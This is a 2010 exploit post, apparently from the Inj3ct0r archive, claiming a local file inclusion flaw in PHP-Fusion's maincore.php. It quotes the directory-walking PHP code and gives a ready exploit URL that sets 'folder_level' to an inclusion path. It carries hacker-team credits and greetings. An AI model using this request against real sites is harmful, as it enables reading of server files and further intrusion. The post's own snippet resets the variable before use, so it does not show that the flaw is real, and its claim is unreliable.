PHP-Fusion Local File Inclusion Vulnerability
Posted on 15 August 2010
<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>PHP-Fusion Local File Inclusion Vulnerability</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================= PHP-Fusion Local File Inclusion Vulnerability ============================================= # Author: MoDaMeR # Email: k@live.ma # My Sites : www.v4-team.com & www.hackteach.org # Script home: http://www.phpfusion-ar.com # download Script: http://www.phpfusion-ar.com/downloads.php?cat_id=1&download_id=91 # Version:all # Tested on: Linux # Team hacker:Mr.Mo0oM & Dr.xp ?????? ???? ????? ??? ::::::::::::::::::::::::: =================Exploit================= maincore.php [php] // Locate config.php and set the basedir path $folder_level = ""; $i = 0; while (!file_exists($folder_level."config.php")) { $folder_level .= "../"; $i++; if ($i == 5) { die("Config file not found"); } } require_once $folder_level."config.php"; define("BASEDIR", $folder_level); [/php] ----exploit---- http://{localhost}/{path}/maincore.php?folder_level=LFI ---------greatz---------- Greatz to : aB0 m0h4mM3d , and all v4-team & hackteach members # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-15]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>